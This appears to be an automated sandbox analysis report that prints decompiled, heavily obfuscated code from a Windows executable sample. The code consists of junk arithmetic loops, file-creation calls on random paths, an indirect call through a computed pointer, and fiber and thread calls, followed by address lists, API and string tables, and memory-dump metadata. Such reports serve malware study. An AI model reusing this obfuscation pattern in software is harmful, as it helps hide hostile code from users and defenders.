								_v192 =  *0x41b004 >>  *_v104;
								_v296 = _v300 & 0x0000ffff & _v12 & 0x0000ffff;
								_t1685 =  *0x43e200; // 0x41b006
								 *0x41b006 = (_v365 & 0x000000ff) - ( *_t1685 & 0x000000ff);
								_v272 = _v272 + 0xe0;
								_v264 = GetFileSize(_v48,  &_v324);
								_v36 = _v388 + _v56;
								_v164 = _v360 & _v420;
								_v164 = _v420 - _v72;
								_v36 = _v392 + _v56;
								_v420 = _v72 - _v164;
								 *_v312 =  *_v312 +  *0x41b007;
								 *_v312 = _v177 -  *0x41b007;
								_v360 = _v164 | _v72;
								_t1241 =  *0x43e200; // 0x41b006
								 *_t1241 = (_v153 & 0x000000ff) << (_v277 & 0x000000ff);
								_v72 = _v360 >> _v420;
							} while (_v272 != 0xb1cf);
							_v8 = _v360;
							_t1695 =  *0x43e200; // 0x41b006
							_v365 =  *_t1695 & 0x000000ff ^ _v153 & 0x000000ff;
							_v184 = _v296;
							_v216 = GetCurrentThread();
							_v20 =  *_v104;
							_v76 =  &_v177;
							_v36 = _v388 & _v56;
							_v360 = _v72 + _v164;
							 *0x43e20c = _v164;
							_v105 = _v197;
							__imp__AssignProcessToJobObject(0, 0);
							if(_v360 - _v8 >= _v420 - _v164) {
								_v304 =  &_v36;
								do {
									 *_v104 =  *_v104 ^ _v192;
									_v12 = _v300 & 0x0000ffff | _v296 & 0x0000ffff;
									_t1703 =  *0x43e200; // 0x41b006
									_t1253 =  *0x43e200; // 0x41b006
									 *_t1253 = ( *_t1703 & 0x000000ff) >> (_v153 & 0x000000ff);
									_v360 = _v8 << _v420;
									_v56 = _v392 & _v388;
									_v8 = _v72 +  *0x43e20c;
									 *_v304 =  *_v304 - _v36;
									_v20 =  *_v104 + _v192;
									_v177 =  *0x41b007 -  *_v312;
									 *_v312 = _v177 -  *0x41b007;
									_t1262 =  *0x43e200; // 0x41b006
									_v153 = _v197 & 0x000000ff &  *_t1262 & 0x000000ff;
									_t1713 =  *0x43e200; // 0x41b006
									 *_t1713 = (_v277 & 0x000000ff) + (_v365 & 0x000000ff);
									 *_v304 =  *_v304 + _v36;
									_v148 = _v148 + 0xb1;
									_v136 = GetCurrentThread();
									_v220 = GetFileSize(_v48,  &_v264);
									_v296 = (_v184 & 0x0000ffff) - (_v12 & 0x0000ffff);
									_t1716 =  *0x43e200; // 0x41b006
									_v365 =  *_t1716 & 0x000000ff |  *0x41b006 & 0x000000ff;
									_v388 = _v392 ^ _v36;
									_t1719 =  *0x43e208; // 0xffff8063
									 *_v304 = _v392 << _t1719;
									_v8 = _v72 >> _v420;
									 *_v304 =  *_v304 & _v392;
									_v300 = (_v184 & 0x0000ffff) + (_v12 & 0x0000ffff);
									_t1724 =  *0x43e200; // 0x41b006
									 *_t1724 = (_v105 & 0x000000ff) - (_v197 & 0x000000ff);
									 *_v304 = _v388 -  *0x43e208;
									_v164 = _v360 + _v8;
									_v177 =  *0x41b007 +  *_v76;
									_v20 =  *_v104 - _v192;
									_v300 = _v296 & 0x0000ffff & _v12 & 0x0000ffff;
									_t2194 =  *0x43e200; // 0x41b006
									_v105 = (_v153 & 0x000000ff) - ( *_t2194 & 0x000000ff);
									_v388 = _v392 | _v36;
									 *_v304 = _v56 >> _v388;
									 *0x43e20c = _v164 << _v72;
									 *_v304 =  *_v304 ^  *0x43e208;
									_v72 = _v360 + _v8;
									_v300 = _v12 & 0x0000ffff & _v184 & 0x0000ffff;
									 *_v312 = _v177 -  *_v76;
									_v36 = _v392 + _v56;
									 *_v104 = _v192 - _v20;
									 *_v76 =  *_v76 - _v177;
									_v36 =  *_v304 + _v56;
									_v300 = (_v12 & 0x0000ffff) + (_v184 & 0x0000ffff);
									_t2208 =  *0x43e200; // 0x41b006
									 *0x41b006 = ( *_t2208 & 0x000000ff) - (_v105 & 0x000000ff);
									_v177 =  *_v312 &  *0x41b007;
									_v192 =  *_v104 | _v20;
									_v56 = _v388 ^ _v36;
									_v8 = _v72 >> _v360;
								} while (_v148 != 0x90a3);
								if(_v8 << _v360 < _v72 + _v420) {
									 *_v304 =  *_v304 - _v392;
									E004078B0(_v72, _v420);
									_v300 = _v296 & 0x0000ffff & _v184 & 0x0000ffff;
									_v360 = _v420 +  *0x43e20c;
									 *_v304 = _v392 + _v36;
									 *0x43e20c = _v72 - _v8;
									E004079A0(_v192,  *_v76, _v177 & 0x000000ff, _v56);
								}
								_v92 =  &_v420;
								while(_v32 != 0xb428) {
									_v153 = (_v365 & 0x000000ff) - ( *0x41b006 & 0x000000ff);
									_v184 = (_v300 & 0x0000ffff) - (_v296 & 0x0000ffff);
									 *_v304 =  *_v304 + _v56;
									_v8 =  *_v92 + _v72;
									_v420 =  *_v92 - _v360;
									_v164 =  *_v92 ^ _v8;
									_v164 =  *_v92 >> _v72;
									_v32 = _v32 + 0x1d;
									 *0x41b004 =  *_v104 | _v192;
									_v177 =  *0x41b007 <<  *_v76;
									 *_v304 =  *_v304 & _v392;
									_v12 = (_v300 & 0x0000ffff) + (_v184 & 0x0000ffff);
									_v36 = _v392 +  *_v304;
									_v392 = _v36 & _v56;
									_v184 = (_v12 & 0x0000ffff) + (_v296 & 0x0000ffff);
									_t2479 =  *0x43e200; // 0x41b006
									_v197 = ( *_t2479 & 0x000000ff) + (_v105 & 0x000000ff);
									 *_v92 = _v72 - _v8;
									_t1580 =  *0x43e200; // 0x41b006
									 *_t1580 = (_v197 & 0x000000ff) - (_v105 & 0x000000ff);
									_v8 = _v360 - _v72;
								}
								if(( *0x41b006 & 0x000000ff) >> (_v277 & 0x000000ff) > (_v365 & 0x000000ff | _v105 & 0x000000ff)) {
									 *_v92 = _v360 ^  *0x43e20c;
									_t2009 =  *0x43e200; // 0x41b006
									_v105 = ( *_t2009 & 0x000000ff) << (_v153 & 0x000000ff);
									_v296 = _v12 & 0x0000ffff & _v300 & 0x0000ffff;
									_v56 =  *_v304 - _v388;
									 *_v92 =  *_v92 + _v164;
									_v192 = _v20 -  *0x41b004;
									_v177 =  *0x41b007 -  *_v76;
									 *0x41b004 =  *_v104 & _v192;
								}
								_v365 = ( *0x41b006 & 0x000000ff) - (_v153 & 0x000000ff);
								_v248 =  &_v392;
								_v116 =  &_v360;
								_v196 =  &_v8;
								if( *_v76 +  *_v312 != _v177 +  *0x41b007) {
									_v388 = _v56 +  *0x43e208;
									_v376 = ConvertThreadToFiber( &_v365);
									 *_v196 = _v360 ^  *_v116;
									E004079A0( *_v104,  *_v312,  *_v312 & 0x000000ff, _v388);
								}
								_v340 = _v296;
								_t2221 =  *0x43e200; // 0x41b006
								asm("cdq");
								_v277 = ( *_t2221 & 0x000000ff) / (_v105 & 0x000000ff);
								 *0x43d188 = _v340 & 0x0000ffff | _v12 & 0x0000ffff;
								_v8 =  *_v92 >> _v420;
								_v64 =  *_v248;
								_t2227 =  *0x43e20c; // 0x0
								_v72 = _t2227 << _v164;
								_v152 =  *_v196;
								if((_v392 &  *0x43e208) <=  *_v248 -  *_v304) {
									_v152 =  *_v116 +  *_v196;
									_v256 = _v296;
									_t1768 =  *0x43e200; // 0x41b006
									asm("cdq");
									_v197 = (_v365 & 0x000000ff) / ( *_t1768 & 0x000000ff);
								} else {
									 *_v304 = _v64 +  *_v248;
									_t1998 =  *0x43e200; // 0x41b006
									_v277 = ( *_t1998 & 0x000000ff) + (_v197 & 0x000000ff);
									_v20 = _v192 &  *0x41b004;
									_v177 =  *0x41b007 -  *_v312;
									E004078E0( *_v104 & 0x0000ffff, _v20 & 0x0000ffff,  *0x41b004 & 0x0000ffff);
									_t2511 = _t2511 + 0xc;
									_t2003 =  *0x43e200; // 0x41b006
									_t2004 =  *0x43e200; // 0x41b006
									 *_t2004 = ( *_t2003 & 0x000000ff) + (_v153 & 0x000000ff);
								}
								_t1770 =  *0x43e208; // 0xffff8063
								_v36 = _v56 << _t1770;
								while(_v356 != 0x8db6) {
									_v72 = _v164 |  *_v116;
									_v8 = _v72 >>  *_v92;
									_v56 = _v392 ^ _v36;
									_v184 = _v300 & 0x0000ffff & _v340 & 0x0000ffff;
									 *0x41b006 = (_v365 & 0x000000ff) + (_v197 & 0x000000ff);
									_v8 = _v360 +  *_v196;
									 *_v196 =  *_v92 + _v420;
									_v388 = _v64 - _v392;
									_t1495 =  *0x43e20c; // 0x0
									 *_v196 = _t1495 - _v360;
									 *_v116 = _v164 + _v8;
									_v177 =  *0x41b007 &  *_v76;
									_v20 = _v192 -  *0x41b004;
									_v256 = _v296 & 0x0000ffff | _v300 & 0x0000ffff;
									_t2401 =  *0x43e200; // 0x41b006
									_t1959 =  *0x43e200; // 0x41b006
									 *_t1959 = ( *_t2401 & 0x000000ff) >> (_v105 & 0x000000ff);
									_t1503 =  *0x43e208; // 0xffff8063
									_v392 = _t1503 ^  *_v304;
									_v152 = _v8 << _v164;
									_t1505 =  *0x43e200; // 0x41b006
									_v153 = ( *_t1505 & 0x000000ff) - (_v197 & 0x000000ff);
									 *_v76 = _v177 &  *_v312;
									_v36 =  *_v304 -  *_v248;
									_v420 =  *_v116 - _v164;
									 *_v92 =  *_v116 - _v72;
									 *_v248 = _v56 + _v392;
									_t2412 =  *0x43e200; // 0x41b006
									 *_t2412 = (_v153 & 0x000000ff) + (_v197 & 0x000000ff);
									_t1971 =  *0x43e208; // 0xffff8063
									 *_v248 = _t1971 +  *_v304;
									 *_v92 =  *_v196 +  *_v116;
									 *_v196 = _v8 & _v360;
									_v20 =  *_v104 >> _v192;
									 *_v76 = _v177 ^  *0x41b007;
									_v356 = _v356 + 0x42;
									 *_v248 = _v36 |  *_v304;
									 *_v104 =  *_v104 << _v20;
									GetProcessId(0); // executed
									_v64 =  *_v248 - _v36;
									_v100 = GetFileSize(_v48,  &_v324);
									 *0x43e208 = _v64 + _v36;
									_t1984 =  *0x43e20c; // 0x0
									_v164 = _t1984 &  *_v116;
									_v420 =  *_v92 -  *_v196;
									 *_v92 = _v360 -  *_v196;
									_t2429 =  *0x43e200; // 0x41b006
									_v105 = ( *_t2429 & 0x000000ff) - (_v197 & 0x000000ff);
									_v340 = (_v296 & 0x0000ffff) + (_v300 & 0x0000ffff);
									_v64 =  *_v248 -  *_v304;
									_v420 =  *_v196 +  *0x43e20c;
									_v152 =  *_v92 +  *_v196;
									_v388 =  *_v304 + _v36;
									 *0x43d188 = (_v184 & 0x0000ffff) << (_v296 & 0x0000ffff);
								}
								_v128 = 0;
								_t1323 =  *0x43e200; // 0x41b006
								_v49 =  *_t1323;
								_v444 =  *_v92;
								if(_v444 == 0) {
									_v329 =  *_v76;
									_t1773 =  *0x43e208; // 0xffff8063
									_v36 = _v388 >> _t1773;
								} else {
									if(_v444 == 0x53f7) {
										 *_v104 = _v192 ^ _v20;
									}
								}
								_v128 = _v128 | 0x00040000;
								_v424 = _v420;
								_t1327 =  *0x43e200; // 0x41b006
								_v365 =  *_t1327 & 0x000000ff | _v197 & 0x000000ff;
								_v44 = GetCurrentThread();
								_v232 = 0xc71a6bb5;
								_v212 = 0x43d188;
								_v72 =  *_v196 & _v8;
								_v232 = _v232 + 0x38e5a57a;
								if(( *_v212 & 0x0000ffff) + (_v184 & 0x0000ffff) >= (_v300 & 0x0000ffff) - ( *0x43d188 & 0x0000ffff)) {
									E00407840(_v329, _v177,  *_v312 & 0x000000ff,  *_v212 & 0x0000ffff);
								}
								_v316 = _v232;
								_t2245 =  *0x41b004 & _v192;
								if(( *0x41b004 & _v192) == _v20 +  *_v104) {
									 *0x43d18c =  *_v248 -  *_v304;
									_v260 =  &_v56;
									_v372 = _v424;
									_v372 = _v8 +  *_v196;
									_t2245 = _v340;
									_v320 = _v340;
									_v40 =  &_v49;
								}
								E004031C0(_t2245); // executed
								_v56 =  *_v260 - _v64;
								_v372 =  *_v116 -  *_v196;
								_v288 = _v420;
								 *0x43e214 = _v340;
								_t1339 = CreateFileW(L"ZcWMD0h\\oqbr2c6\\P5", 0x40000000, 4, 0, 2, 0x80, 0); // executed
								_v308 = _t1339;
								_v384 = _v120(_v128, _v232, _v316);
								 *_v92 =  *_v116 ^  *0x43e20c;
								_v448 =  *_v212 & 0x0000ffff;
								if(_v448 == 0x30) {
									 *_v92 =  *_v116 |  *_v196;
									_v177 =  *_v312 >>  *_v76;
									_v20 = _v192 <<  *_v104;
									E004079A0( *_v104,  *_v312,  *_v76 & 0x000000ff,  *_v248);
								} else {
									if((_v300 & 0x0000ffff &  *_v212 & 0x0000ffff) >= (_v12 & 0x0000ffff) - (_v184 & 0x0000ffff)) {
										_v300 = ( *_v212 & 0x0000ffff) + (_v184 & 0x0000ffff);
										 *_v40 = (_v365 & 0x000000ff) + (_v105 & 0x000000ff);
										_v36 =  *_v248 -  *0x43e208;
										_v388 =  *_v304 & _v64;
									}
								}
								_v28 = _v384;
								 *0x43e21c =  &_v20;
								_v68 = _v296;
								_t2261 =  *0x43e200; // 0x41b006
								_v365 = ( *_t2261 & 0x000000ff) + ( *_v40 & 0x000000ff);
								_v336 = 0x8ad62762;
								_v72 = _v288 -  *_v92;
								_v188 = AddAtomW(L"K6W");
								_v240 = 0x43d18c;
								_v424 = _v420 + _v288;
								_v268 = _v152;
								_v328 =  &_v256;
								_v96 = 0x14;
								_v365 = ( *0x41b006 & 0x000000ff) - ( *_v40 & 0x000000ff);
								 *0x43e210 =  &_v329;
								_v60 =  *_v248;
								_v360 = _v164 >>  *_v116;
								_v276 =  &_v177;
								_v244 = _v192;
								_v296 = (_v68 & 0x0000ffff) << ( *_v212 & 0x0000ffff);
								_v13 = _v365;
								_v236 = _v132;
								_v392 = _v388 | _v60;
								_v364 = _v424;
								_v160 = 0xd8ae6cb3;
								if(( *0x43d188 & 0x0000ffff ^ _v256 & 0x0000ffff) <= ( *_v328 & 0x0000ffff & _v12 & 0x0000ffff)) {
									_t2374 =  *0x43e210; // 0x0
									 *_t2374 =  *_v76 -  *_v276;
									E00407840( *_v276, _v329,  *_v312 & 0x000000ff,  *_v212 & 0x0000ffff);
								}
								_v160 = _v160 + 0x2a4821da;
								_v60 = _v36 -  *_v260;
								_v152 = _v72 +  *_v92;
								_v366 =  *_v40;
								while(_v96 < _v160) {
									_v340 = ( *_v212 & 0x0000ffff) + (_v184 & 0x0000ffff);
									 *_v196 =  *_v196 + _v372;
									_v56 = _v392 &  *_v240;
									 *_v92 = _v360 -  *_v116;
									_v268 =  *_v92 - _v72;
									 *0x43e214 = ( *_v328 & 0x0000ffff) + ( *_v212 & 0x0000ffff);
									_v121 =  *_v236;
									_v197 = _v366 & 0x000000ff ^  *_v40 & 0x000000ff;
									_v112 = CreateFileW(L"k1O3fAZUMTw\\tQaeh\\aV6dRwqN\\gAo", 0xc0000000, 1, 0, 0, 8, 0);
									_t2334 =  *0x43e210; // 0x0
									 *_v76 =  *_t2334 >> _v329;
									_v192 =  *_v104 << _v244;
									asm("rol dl, cl");
									_v64 =  *_v248 |  *_v304;
									 *_v196 = _v288 &  *_v116;
									_v296 = ( *_v328 & 0x0000ffff) + ( *_v212 & 0x0000ffff);
									_t2341 =  *0x43e200; // 0x41b006
									 *_v40 = (_v13 & 0x000000ff) + ( *_t2341 & 0x000000ff);
									_v56 = _v392 - _v388;
									 *0x43e20c =  *_v116 +  *_v92;
									_v121 = (_v121 & 0x000000ff) + _v336;
									 *_v92 = _v72 -  *_v196;
									_v60 =  *_v248 +  *0x43d18c;
									_v365 = _v366 & 0x000000ff & _v153 & 0x000000ff;
									_v12 = ( *_v212 & 0x0000ffff) - (_v296 & 0x0000ffff);
									 *_v28 = _v121;
									_v288 = _v164 <<  *_v116;
									_v420 =  *_v116 ^ _v8;
									_v236 = _v236 + 1;
									 *_v248 = _v64 >>  *_v260;
									_v284 = CreateMutexW(0, 0, 0);
									 *_v116 = _v164 | _v424;
									 *0x43e20c = _v152 +  *_v196;
									_v329 =  *_v76 &  *_v276;
									_v28 = _v28 + 1;
									_v244 = _v20 + _v192;
									_v340 = ( *_v328 & 0x0000ffff) - (_v68 & 0x0000ffff);
									 *_v40 = ( *_v40 & 0x000000ff) + (_v277 & 0x000000ff);
									_v60 =  *_v240 -  *_v248;
									 *_v196 = _v8 -  *_v92;
									asm("rol ecx, 0xd");
									_v49 = ( *_v40 & 0x000000ff) - (_v277 & 0x000000ff);
									_v340 = ( *0x43e214 & 0x0000ffff) - ( *_v328 & 0x0000ffff);
									_v336 = _v336 * 0xd2c5;
									 *0x43d18c = _v36 &  *_v260;
									_v228 = AddAtomW(L"P8");
									_v96 = _v96 + 0x4627d;
									 *_v92 = _v420 ^  *_v196;
									_v8 = _v288 |  *_v196;
									_v56 = _v60 << _v388;
								}
								_v197 = (_v13 & 0x000000ff) >> (_v105 & 0x000000ff);
								_v452 = _v184 & 0x0000ffff;
								if(_v452 == 0) {
									_t1819 =  *0x43e21c; // 0x0
									if( *_v104 -  *_t1819 < _v192 + _v20) {
										if((_v177 & _v329) <  *0x41b007 -  *_v312) {
											E004078B0(_v152,  *_v116);
										}
									} else {
										_v88 =  &_v340;
										_v344 = 0x43e20c;
										_v288 =  *_v344 + _v164;
										_v249 = _v329;
										 *0x43d190 =  *_v116 -  *0x43e20c;
									}
								} else {
									if(_v452 == 0x4ae) {
										_t2321 =  *0x43e21c; // 0x0
										 *_v104 =  *_v104 -  *_t2321;
									}
								}
								_v176 = _v384 + 0xad;
								_v197 = ( *0x41b006 & 0x000000ff) + (_v366 & 0x000000ff);
								_v24 =  *_v88;
								_v60 =  *_v260 + _v64;
								_v172 = _v132 + 0xad;
								_v352 =  *_v240;
								InitializeCriticalSection( &_v416);
								 *_v196 =  *_v196 +  *_v92;
								if(_v8 -  *_v116 <= _v364 <<  *_v196) {
									_v208 =  &_v288;
									_v13 = (_v365 & 0x000000ff) * (_v105 & 0x000000ff);
								} else {
									_v268 =  *_v196 | _v424;
								}
								_v384( &_v176);
								 *0x43e204 =  &_v12;
								_t1836 =  *0x43d18c; // 0xdfffa04b
								if(( *_v240 & _v388) >= _t1836 + _v56) {
									_t1839 =  *0x43e210; // 0x0
									if( *_v312 +  *_v276 < ( *_t1839 & _v329)) {
										E00407840( *_v76,  *_v76, _v177 & 0x000000ff, _v256 & 0x0000ffff);
									}
								}
								_v60 = _v352 - _v392;
								 *_v116 = _v72 -  *_v208;
								_v420 = _v8 +  *_v208;
								L77:
								 *_v104 =  *_v104 - _v192;
								_t1846 =  *0x43e20c; // 0x0
								E004078B0(_t1846, _v8);
								L79:
								_v164 = _v420 | _v72;
								_v177 = _v177 & 0x0000004d;
								E004078B0(_v420, _v72);
								_v192 =  *0x41b004 + 0x5a8;
								_t1850 =  *0x43e208; // 0xffff8063
								_v36 = _t1850 - 0x4d39;
								_v420 = _v72 + _v164;
								ExitThread(0xaf);
							}
							_v392 = _v388 + _v56;
							_v72 = _v360 + _v8;
							_v8 = _v164 - _v360;
							_t1591 =  &_v177;
							__imp__CheckNameLegalDOS8Dot3W(_v224,  &_v300, 0x6a, _t1591,  &_v104);
							_v292 = _t1591;
							goto L77;
						}
						E00407930(_v72, _v72, _v72, _v72);
						goto L79;
					} else {
						_v164 = _v72 >> 0xc;
						_v164 = _v72 << 0xb;
						_t2057 =  *0x43e208; // 0xffff8063
						_v36 = _t2057 ^ 0x0000a268;
						E00407840(_v177, _v177, _v177 & 0x000000ff, _v300 & 0x0000ffff);
						_v72 = _v164 & 0x00002948;
						_v192 =  *0x41b004 - 0x612;
						_v177 = _v177 + 0x51;
						_t1406 =  &_v204;
						__imp__GetFileSizeEx(_v204, _t1406);
						_v144 = _t1406;
						_t2308 =  *0x43e208; // 0xffff8063
						_v36 = _t2308 - 0x9081;
						_v72 = _v164 + 0x211a;
						E004078E0( *0x41b004 & 0x0000ffff, _v192 & 0x0000ffff, _v192 & 0x0000ffff);
						goto L81;
					}
				} else {
					E00407840(_v177, _v177, _v177 & 0x000000ff, _v296 & 0x0000ffff);
					L83:
					_v177 = _v177 - 0x16;
					_v177 = _v177 + 0x62;
					_v380 = SetPriorityClass(_v80, 0x43);
					E00407840(_v177, _v177, _v177 & 0x000000ff, _v296 & 0x0000ffff);
					return _v288;
				}
			}

0x0040561a
0x00405621
0x00405630
0x0040563e
0x0040564e
0x0040565f
0x0040775e
0x0040776b
0x0040777c
0x0040778e
0x004077af
0x00000000
0x004077af
0x0040566a
0x00405671
0x0040567e
0x0040568b
0x004056e9
0x004056f0
0x00405700
0x00405706
0x00405710
0x0040571d
0x0040572a
0x0040568d
0x00405694
0x004056a8
0x004056b9
0x004056d5
0x004056d5
0x00405694
0x00405730
0x0040573a
0x00405741
0x00405747
0x0040574a
0x0040576d
0x004057bf
0x004057c8
0x004057d8
0x004057df
0x004057e4
0x004057fa
0x00405800
0x00405809
0x00405818
0x00405827
0x0040583d
0x0040584c
0x0040585b
0x00405867
0x0040586f
0x0040587d
0x00405890
0x004058a1
0x004058b3
0x004058ca
0x004058dc
0x004058eb
0x004058fa
0x00405906
0x00405919
0x0040592f
0x00405941
0x0040594d
0x0040595f
0x0040596c
0x00405983
0x00405989
0x004059a0
0x004059ad
0x004059be
0x004059cf
0x004059e5
0x004059eb
0x004059f4
0x00405a00
0x004059af
0x00405a16
0x00405a1c
0x00405a2b
0x00405a3b
0x00405a56
0x00405ab3
0x00405a58
0x00405a5f
0x00405a7a
0x00405a80
0x00405a89
0x00405a92
0x00405aa2
0x00405aa2
0x00405a56
0x00405abf
0x00405ac6
0x00405adc
0x00405ae2
0x00405afa
0x00405afd
0x00405b07
0x00405b0d
0x00405b1d
0x00405b20
0x00405b2b
0x00405b3d
0x00405b40
0x00405b52
0x00405b65
0x00405b75
0x00405b81
0x00405b99
0x00405bac
0x00405bb2
0x00405bcc
0x00405bde
0x00405bed
0x00405bfc
0x00405c0b
0x00405c1d
0x00405c29
0x00405c3e
0x00405c57
0x00405c5d
0x00405c6f
0x00405c82
0x00405c8f
0x00405c9e
0x00405ca1
0x00405cb3
0x00405ccf
0x00405cda
0x00405ce6
0x00405cec
0x00405cfd
0x00405d0f
0x00405d25
0x00405d39
0x00405d48
0x00405d56
0x00405d6e
0x00405d83
0x00405d97
0x00405da5
0x00405db0
0x00405dc0
0x00405dd7
0x00405de6
0x00405df5
0x00405e04
0x00405e13
0x00405e1f
0x00405e3d
0x00405e55
0x00405e60
0x00405e76
0x00405e7b
0x00405e8b
0x00405e8e
0x00405ea4
0x00405ea7
0x00405eb9
0x00405ec6
0x00405ed3
0x00405edf
0x00405ee9
0x00405ef5
0x00405f01
0x00405f0d
0x00405f19
0x00405f20
0x00405f3d
0x00405f98
0x00405f9e
0x00405fb0
0x00405fc3
0x00405fc7
0x00405fd9
0x00405fde
0x00405feb
0x00405ffd
0x00406009
0x0040601d
0x0040602e
0x00406044
0x00406060
0x00406069
0x00406073
0x00406089
0x0040608f
0x004060a2
0x004060b0
0x004060bc
0x004060d3
0x004060e6
0x004060ed
0x004060ff
0x0040610e
0x0040611a
0x00406128
0x00406135
0x0040614c
0x0040615b
0x0040616f
0x00406175
0x00406189
0x00406194
0x004061a9
0x004061be
0x004061cf
0x004061dd
0x004061e8
0x004061f4
0x0040620b
0x00406218
0x00406232
0x0040623d
0x0040624d
0x00406269
0x00406274
0x00406287
0x0040629c
0x004062a9
0x004062b9
0x004062c0
0x004062cf
0x004062e6
0x004062f8
0x00406308
0x00406316
0x00406319
0x0040633f
0x00406359
0x00406364
0x00406379
0x0040638c
0x004063a1
0x004063a9
0x004063c5
0x004063c5
0x004063d0
0x004063d3
0x004063f0
0x00406406
0x0040641e
0x00406428
0x00406436
0x00406444
0x00406454
0x00406460
0x00406472
0x00406488
0x004064a2
0x004064b4
0x004064c6
0x004064cf
0x004064e2
0x004064e9
0x004064f8
0x00406507
0x00406516
0x0040651b
0x00406526
0x00406526
0x0040654d
0x00406562
0x00406564
0x00406576
0x00406586
0x0040659b
0x004065ac
0x004065bb
0x004065d1
0x004065e6
0x004065e6
0x004065fd
0x00406609
0x00406615
0x0040661b
0x00406644
0x0040664f
0x00406662
0x00406679
0x0040669a
0x0040669a
0x004066a6
0x004066ad
0x004066ba
0x004066bd
0x004066d0
0x004066e4
0x004066ef
0x004066f2
0x00406700
0x0040670b
0x0040672f
0x004067d1
0x004067de
0x004067ec
0x004067f5
0x004067f8
0x00406735
0x00406746
0x00406748
0x0040675a
0x00406770
0x00406786
0x004067a0
0x004067a5
0x004067a8
0x004067ba
0x004067c0
0x004067c0
0x00406801
0x00406809
0x0040680c
0x00406827
0x00406834
0x00406840
0x00406853
0x0040686a
0x0040687e
0x00406892
0x0040689d
0x004068a3
0x004068b4
0x004068c2
0x004068d3
0x004068e9
0x004068fd
0x00406904
0x00406913
0x00406919
0x00406921
0x00406928
0x00406939
0x0040693f
0x00406950
0x0040696b
0x0040697d
0x0040698b
0x0040699c
0x004069ad
0x004069bf
0x004069c5
0x004069cd
0x004069db
0x004069ed
0x004069fe
0x00406a0f
0x00406a26
0x00406a31
0x00406a48
0x00406a59
0x00406a5e
0x00406a6f
0x00406a83
0x00406a8c
0x00406a95
0x00406a9d
0x00406ab0
0x00406ac7
0x00406ac9
0x00406adb
0x00406aee
0x00406b05
0x00406b16
0x00406b29
0x00406b3a
0x00406b50
0x00406b50
0x00406b5c
0x00406b63
0x00406b6a
0x00406b72
0x00406b7f
0x00406ba9
0x00406bb5
0x00406bbd
0x00406b81
0x00406b8b
0x00406b9f
0x00406b9f
0x00406b8b
0x00406bc9
0x00406bd2
0x00406bd8
0x00406be9
0x00406bf5
0x00406bf8
0x00406c02
0x00406c17
0x00406c26
0x00406c50
0x00406c72
0x00406c72
0x00406c7d
0x00406c91
0x00406ca1
0x00406cb3
0x00406cbb
0x00406cc7
0x00406cd8
0x00406cde
0x00406ce5
0x00406cef
0x00406cef
0x00406cf2
0x00406d02
0x00406d12
0x00406d1e
0x00406d2b
0x00406d49
0x00406d4f
0x00406d6a
0x00406d7e
0x00406d89
0x00406d96
0x00406daa
0x00406dbd
0x00406dd2
0x00406df4
0x00406d98
0x00406e1c
0x00406e30
0x00406e47
0x00406e57
0x00406e65
0x00406e65
0x00406e1c
0x00406e71
0x00406e77
0x00406e83
0x00406e87
0x00406e98
0x00406e9e
0x00406eb3
0x00406ec1
0x00406ec8
0x00406ede
0x00406eea
0x00406ef6
0x00406efc
0x00406f12
0x00406f1e
0x00406f2c
0x00406f3c
0x00406f48
0x00406f55
0x00406f6b
0x00406f78
0x00406f7e
0x00406f8d
0x00406f99
0x00406f9f
0x00406fca
0x00406fdd
0x00406fe3
0x00407007
0x00407007
0x00407018
0x00407029
0x00407034
0x0040703f
0x00407045
0x00407066
0x00407081
0x00407091
0x004070a2
0x004070ac
0x004070c6
0x004070d4
0x004070e6
0x00407106
0x00407109
0x0040711e
0x0040712f
0x0040713f
0x00407154
0x00407168
0x0040717e
0x00407189
0x00407197
0x004071a5
0x004071b2
0x004071c2
0x004071d3
0x004071e3
0x004071f6
0x0040720e
0x00407218
0x00407227
0x00407235
0x00407244
0x0040725d
0x0040726b
0x00407280
0x00407290
0x004072a7
0x004072b3
0x004072c3
0x004072d9
0x004072f2
0x00407304
0x00407315
0x0040731d
0x00407335
0x0040734a
0x0040735d
0x0040736e
0x0040737f
0x0040738f
0x004073a3
0x004073b3
0x004073c1
0x004073c1
0x004073d3
0x004073e0
0x004073ed
0x0040740a
0x00407424
0x00407490
0x0040749d
0x0040749d
0x00407426
0x0040742c
0x0040742f
0x00407447
0x00407453
0x00407464
0x00407464
0x004073ef
0x004073f9
0x004074aa
0x004074b8
0x004074b8
0x004073f9
0x004074c6
0x004074dc
0x004074e8
0x004074f7
0x00407503
0x00407511
0x0040751e
0x00407537
0x00407553
0x00407571
0x00407585
0x00407555
0x00407563
0x00407563
0x0040758f
0x00407598
0x004075ac
0x004075b7
0x004075cf
0x004075e3
0x004075ff
0x004075ff
0x004075e3
0x00407610
0x00407621
0x0040762e
0x00407634
0x00407646
0x0040764c
0x00407652
0x0040766c
0x00407675
0x00407685
0x00407694
0x004076a5
0x004076ac
0x004076b8
0x004076c4
0x004076cf
0x004076cf
0x00405f48
0x00405f57
0x00405f66
0x00405f6d
0x00405f84
0x00405f8a
0x00000000
0x00405f8a
0x00407667
0x00000000
0x0040576f
0x00405775
0x00405781
0x00405787
0x00405793
0x004057b2
0x004076e0
0x004076f0
0x00407701
0x00407707
0x00407715
0x0040771b
0x00407721
0x0040772d
0x0040773b
0x00407756
0x00000000
0x0040775b
0x00405650
0x004077d2
0x004077d7
0x004077e1
0x004077f1
0x00407803
0x00407825
0x00407834
0x00407834

APIs

GetFileSizeEx.KERNEL32(?,?,00000017,?), ref: 00407715
SetPriorityClass.KERNEL32(?,00000043,0000000D,00000017,000000AB), ref: 004077FD

Part of subcall function 00407840: WriteConsoleOutputCharacterW.KERNEL32(00000017,0040782A,000000EC,?,?,?,?,0040782A,00000017,?), ref: 00407861

Strings

k1O3fAZUMTw\tQaeh\aV6dRwqN\gAo, xrefs: 004070FB
K6W, xrefs: 00406EB6
m, xrefs: 0040568D
0, xrefs: 00406D8F
Dd7\fZ\QcW\isu, xrefs: 00405A75
>, xrefs: 004059A6
ZcWMD0h\oqbr2c6\P5, xrefs: 00406D44

Memory Dump Source

Source File: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

